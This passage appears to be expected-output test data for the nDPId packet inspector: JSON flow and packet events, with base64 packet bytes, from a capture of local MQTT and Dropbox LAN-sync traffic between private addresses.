+00419{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":21553,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoEMFAAIAG+FfAqDgBwKg4ZdEYRF3fAvHFrkjuJFAQAQA6cQAAAAAAAAAA"} +00493{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":43373,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkEMJAAIAG+BrAqDgBwKg4ZdEYRF3fAvHFrkjuJFAYAQBqdAAAMzoACUJ1czE3SW5mbwADVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjA3IEVFVCAyMDE2"} +00419{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":44633,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"CAAnAERyCAAnmO\/hCABFAAAslKxAAEAGtGjAqDhlwKg4AURd0RiuSO4k3wLyAVAYAOXx1QAAQAIAAw=="} +00420{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":242073,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoEMNAAIAG+FXAqDgBwKg4ZdEYRF3fAvIBrkjuKFAQAQA6MQAAAAAAAAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1455907271481,"flow_last_seen":0,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":104,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50311,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":481938,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnmO\/hCAAnAERyCABFAAB8EMQAAIARN\/bAqDgBwKg4ZcSHRFwAaLRJQwM1AW9STXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMSBFRVQgMjAxNiJ9"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1455907271481,"flow_last_seen":0,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":104,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50311,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00529{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":483239,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnAERyCAAnmO\/hCABFAAB+rAFAAEAGnMHAqDhlwKg4AURd0RKQSIQbeoYoHFAYAOXyJwAAMlQACEJ1czE3Q21kAAJ7Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00530{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":483346,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnAERyCAAnmO\/hCABFAAB+f0hAAEAGyXrAqDhlwKg4AURd0RObj0l5TWIKIlAYAOXyJwAAMlQACEJ1czE3Q21kAAJ7Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1455907271483,"flow_last_seen":0,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":106,"flow_max_l4_data_len":106,"flow_avg_l4_data_len":106,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.56.101","dst_ip":"192.168.56.1","src_port":17501,"dst_port":53524,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":483430,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnAERyCAAnmO\/hCABFAAB+1KdAAEAGdBvAqDhlwKg4AURd0RSW3pIhxZi6gFAYAOXyJwAAMlQACEJ1czE3Q21kAAJ7Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1455907271483,"flow_last_seen":0,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":106,"flow_max_l4_data_len":106,"flow_avg_l4_data_len":106,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.56.101","dst_ip":"192.168.56.1","src_port":17501,"dst_port":53524,"l4_proto":"tcp","ndpi": {"proto":"MQTT","breed":"Acceptable","category":"RPC"}} +00424{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":483762,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"CAAnAERyCAAnmO\/hCABFAAAvXYVAAEAR64HAqDhlwKg4AURcxIcAG\/HjY0Q1AW9STYsvci9CdXMxN0NtZA=="} +00420{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":484395,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAnmO\/hCAAnAERyCABFAAAsEMVAAIAG+E\/AqDgBwKg4ZdETRF1NYgoim49Jz1AYAP8qugAAQAIAAgAA"} +00419{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":485428,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAnmO\/hCAAnAERyCABFAAAsEMdAAIAG+E3AqDgBwKg4ZdEURF3FmLqAlt6Sd1AYAP++LAAAQAIAAgAA"} +00418{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":486089,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAnmO\/hCAAnAERyCABFAAAsEMhAAIAG+EzAqDgBwKg4ZdESRF16higckEiEcVAYAP+wQQAAQAIAAgAA"} +00412{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":521954,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAof0lAAEAGyc\/AqDhlwKg4AURd0RObj0nPTWIKJlAQAOXx0QAA"} +00411{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":522028,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAo1KhAAEAGdHDAqDhlwKg4AURd0RSW3pJ3xZi6hFAQAOXx0QAA"} +00493{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":522384,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkEMlAAIAG+BPAqDgBwKg4ZdETRF1NYgomm49Jz1AYAP+fyAAAMzoACUJ1czE3SW5mbwAEVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2"} +00411{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":522431,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAof0pAAEAGyc7AqDhlwKg4AURd0RObj0nPTWIKYlAQAOXx0QAA"} +00493{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":522497,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkEMtAAIAG+BHAqDgBwKg4ZdEURF3FmLqElt6Sd1AYAP8zOwAAMzoACUJ1czE3SW5mbwAEVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2"} +00412{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":522508,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAo1KlAAEAGdG\/AqDhlwKg4AURd0RSW3pJ3xZi6wFAQAOXx0QAA"} +00419{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":524579,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"CAAnAERyCAAnmO\/hCABFAAAsf0tAAEAGycnAqDhlwKg4AURd0RObj0nPTWIKYlAYAOXx1QAAQAIABA=="} +00419{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":524955,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"CAAnAERyCAAnmO\/hCABFAAAs1KpAAEAGdGrAqDhlwKg4AURd0RSW3pJ3xZi6wFAYAOXx1QAAQAIABA=="} +00410{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":525974,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAorAJAAEAGnRbAqDhlwKg4AURd0RKQSIRxeoYoIFAQAOXx0QAA"} +00492{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":526049,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkEMxAAIAG+BDAqDgBwKg4ZdESRF16higgkEiEcVAYAP8lUAAAMzoACUJ1czE3SW5mbwAEVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2"} +00410{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":526104,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAorANAAEAGnRXAqDhlwKg4AURd0RKQSIRxeoYoXFAQAOXx0QAA"} +00418{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":526633,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"CAAnAERyCAAnmO\/hCABFAAAsrARAAEAGnRDAqDhlwKg4AURd0RKQSIRxeoYoXFAYAOXx1QAAQAIABA=="} +00526{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":585820,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EM0AAIARN+7AqDgBwKg4ZcSHRFwAZzJrQgM1Anj4ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00530{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587050,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnAERyCAAnmO\/hCABFAAB+rAVAAEAGnL3AqDhlwKg4AURd0RKQSIR1eoYoXFAYAOXyJwAAMlQACEJ1czE3Q21kAAN7Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00531{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587150,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnAERyCAAnmO\/hCABFAAB+f0xAAEAGyXbAqDhlwKg4AURd0RObj0nTTWIKYlAYAOXyJwAAMlQACEJ1czE3Q21kAAN7Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00420{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587214,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoEM5AAIAG+ErAqDgBwKg4ZdESRF16hihckEiEy1AQAP\/vtwAAAAAAAAAA"} +00530{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587221,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnAERyCAAnmO\/hCABFAAB+1KtAAEAGdBfAqDhlwKg4AURd0RSW3pJ7xZi6wFAYAOXyJwAAMlQACEJ1czE3Q21kAAN7Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00420{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587338,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoEM9AAIAG+EnAqDgBwKg4ZdETRF1NYgpim49KKVAQAP9qMAAAAAAAAAAA"} +00420{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587356,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoENBAAIAG+EjAqDgBwKg4ZdEURF3FmLrAlt6S0VAQAP\/9ogAAAAAAAAAA"} +00419{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587798,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXZ1AAEAR62rAqDhlwKg4AURcxIcAGvHiYkQ1Anj4iy9yL0J1czE3Q21k"} +00419{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":588197,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAnmO\/hCAAnAERyCABFAAAsENJAAIAG+ELAqDgBwKg4ZdEURF3FmLrAlt6S0VAYAP+9kQAAQAIAAwAA"} +00420{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":588354,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAnmO\/hCAAnAERyCABFAAAsENNAAIAG+EHAqDgBwKg4ZdETRF1NYgpim49KKVAYAP8qHwAAQAIAAwAA"} +00420{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":588802,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAnmO\/hCAAnAERyCABFAAAsENVAAIAG+D\/AqDgBwKg4ZdESRF16hihckEiEy1AYAP+vpgAAQAIAAwAA"} +00412{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":625904,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAo1KxAAEAGdGzAqDhlwKg4AURd0RSW3pLRxZi6xFAQAOXx0QAA"} +00412{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":625957,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAof01AAEAGycvAqDhlwKg4AURd0RObj0opTWIKZlAQAOXx0QAA"} +00411{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":625984,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAorAZAAEAGnRLAqDhlwKg4AURd0RKQSITLeoYoYFAQAOXx0QAA"} +00494{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":626324,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkENZAAIAG+AbAqDgBwKg4ZdEURF3FmLrElt6S0VAYAP8xoQAAMzoACUJ1czE3SW5mbwAFVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2"} +00412{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":626365,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAo1K1AAEAGdGvAqDhlwKg4AURd0RSW3pLRxZi7AFAQAOXx0QAA"} +00494{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":626447,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkENdAAIAG+AXAqDgBwKg4ZdETRF1NYgpmm49KKVAYAP+eLgAAMzoACUJ1czE3SW5mbwAFVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2"} +00412{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":626458,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAof05AAEAGycrAqDhlwKg4AURd0RObj0opTWIKolAQAOXx0QAA"} +00493{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":626531,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkENlAAIAG+APAqDgBwKg4ZdESRF16hihgkEiEy1AYAP8jtgAAMzoACUJ1czE3SW5mbwAFVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2"} +00411{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":626537,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAorAdAAEAGnRHAqDhlwKg4AURd0RKQSITLeoYonFAQAOXx0QAA"} 